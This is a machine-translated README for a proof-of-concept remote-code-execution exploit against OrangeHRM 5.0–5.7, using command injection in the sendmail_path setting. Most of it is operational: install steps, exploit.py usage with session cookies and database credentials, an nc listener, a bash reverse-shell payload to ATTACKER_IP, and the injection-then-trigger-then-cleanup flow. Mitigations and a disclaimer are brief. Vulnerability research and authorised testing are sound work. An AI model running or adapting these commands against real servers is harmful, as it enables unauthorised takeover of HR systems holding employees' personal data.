📋 描述
该概念验证(PoC)通过配置参数中的命令注入,展示了OrangeHRM中的远程代码执行(RCE)漏洞。sendmail_path
该漏洞的工作原理是:
-
向MySQL数据库(表)注入恶意负载hs_hr_config
-
通过电子邮件配置API端点触发负载执行
-
自动恢复原始值以清理走线
🎯 受影响版本
- OrangeHRM 版本 5.0 至 5.7
⚠️免责声明
该工具仅供教育和授权安全测试目的。未经授权访问计算机系统是非法的。作者不对该工具造成的任何滥用或损害负责。
🔧 要求
pip install requests mysql-connector-python
📦 安装
git clone https://github.com/richard-natan/PoC-CVE-2025-66224 cd PoC-CVE-2025-66224 pip install -r requirements.txt
🚀 用途
步骤1:获取会话Cookie
-
通过网页界面登录OrangeHRM
-
打开浏览器开发者工具(F12)
-
访问存储>Cookies(Firefox)或应用>Cookies(Chrome)
-
复制cookie值_orangehrm
步骤2:运行漏洞
python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \ -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \ -cmd '<COMMAND_TO_EXECUTE>'
示例 - 简单命令
python3 exploit.py -t http://127.0.0.1:8080/ \ -c "g58tak8pbnheseatv6dggvi31i" \ -dh 172.18.0.2 \ -du orange_user \ -dp orange_password \ -cmd "touch /tmp/pwned"
示例 - 反向壳
Start listener on attacker machine nc -lvnp 4444 # Execute exploit with reverse shell payload python3 exploit.py -t http://target.com/ \ -c "your_session_cookie" \ -dh 172.18.0.2 \ -du orange_user \ -dp orange_password \ -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
📝 参数
| 参数 | 短篇 | 必填 | 描述 |
|---|---|---|---|
| --target | -t | ✅ | 目标URL(例如,http://target.com) |
| --cookie | -c | ✅ | 会话 Cookie 值 |
| --cookie_name | -cn | ❌ | Cookie 名称(默认:_orangehrm) |
| --command | -cmd | ✅ | 执行目标命令 |
| --db_host | -dh | ✅ | MySQL 主机地址 |
| --db_user | -du | ✅ | MySQL 用户名 |
| --db_pass | -dp | ✅ | MySQL 密码 |
| --db_port | -dport | ❌ | MySQL移植版(默认:3306) |
🔍 工作原理
漏洞详情
漏洞存在于邮件配置功能中,参数存储在数据库中,之后在未经过适当净化的情况下执行。sendmail_path
开发流程:
- Authenticate to OrangeHRM (obtain valid session cookie) ↓ 2. Connect to MySQL database ↓ 3. Locate hs_hr_config table ↓ 4. Update email_config.sendmail_path value: FROM: /usr/sbin/sendmail -bs TO: /usr/sbin/sendmail -bs && <PAYLOAD> # ↓ 5. Trigger execution via API: PUT /web/index.php/api/v2/admin/email-configuration ↓ 6. Command executes on server ↓ 7. Restore original value (cleanup)
技术细节
脆弱参数: email_config.sendmail_path
数据库:
-
表格:hs_hr_config
-
列:= 'email_config.sendmail_path'name
-
列:= sendmail 命令路径value
触发终点:
PUT /web/index.php/api/v2/admin/email-configuration
🛡️ 缓解措施
-
输入验证:对参数实施严格验证sendmail_path
-
逃脱:执行前正确转义 shell 命令
-
最低特权:以最小权限运行网页服务器
-
更新:为 OrangeHRM 应用最新的安全补丁
🔗 参考文献
⚠️请负责任地使用。检测前务必获得适当授权。